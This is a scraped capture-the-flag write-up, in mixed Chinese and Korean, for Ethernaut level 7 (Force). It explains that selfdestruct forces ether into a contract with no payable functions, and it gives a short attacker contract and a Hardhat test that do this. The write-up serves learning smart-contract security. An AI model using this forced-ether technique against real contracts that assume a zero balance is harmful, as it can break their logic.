Ethernaut 시스템-레벨 7(Force)
레벨 7(포스):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
通关要求
使合约的余额不为0
要点
合约要能接受转账,需要合约有receive/fallback或者其他外部方法是payable,不然转账过去会报错.
但有个例外就是selfdestruct指定的接收地址,是无法拒接的把destruct后者的余额转给接受
解题思路
계약/07ForceRun.sol
contract ForceRun {
function destory(address _levelAddress) external payable {
//selfdestruct指定的地址,就算没有receive/fallback也是无法拒接把balance转给它
selfdestruct(payable(_levelAddress));
}
}
test/07Force.js
it("attacks", async function () {
await runContract
.connect(player)
.destory(levelContract.address, {
value: ethers.utils.parseEther("0.1"),
});
});
Reference
이 문제에 관하여(Ethernaut 시스템-레벨 7(Force)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/bin2chen/ethernautxi-lie-level-7-force-44bk텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)